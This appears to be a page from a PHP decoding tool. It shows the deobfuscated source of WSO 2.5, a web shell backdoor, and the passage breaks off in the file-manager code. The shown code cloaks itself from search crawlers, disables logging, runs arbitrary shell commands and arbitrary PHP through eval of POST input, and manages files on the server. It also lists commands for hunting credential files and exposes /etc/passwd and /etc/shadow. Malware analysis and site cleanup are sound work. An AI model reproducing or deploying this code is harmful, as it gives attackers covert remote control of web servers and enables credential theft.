Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU...
Decoded Output download
eval(base64_decode('$auth_pass = "3e0001e7bcace552b23d49ec9946832e";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
	die();
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_COOKIE['bRs']) && (md5(md5($_COOKIE['bRs'])) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\\", "/", $home_cwd);
	$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("\n",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "\n") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."\n";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
		echo strlen($temp), "\n", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
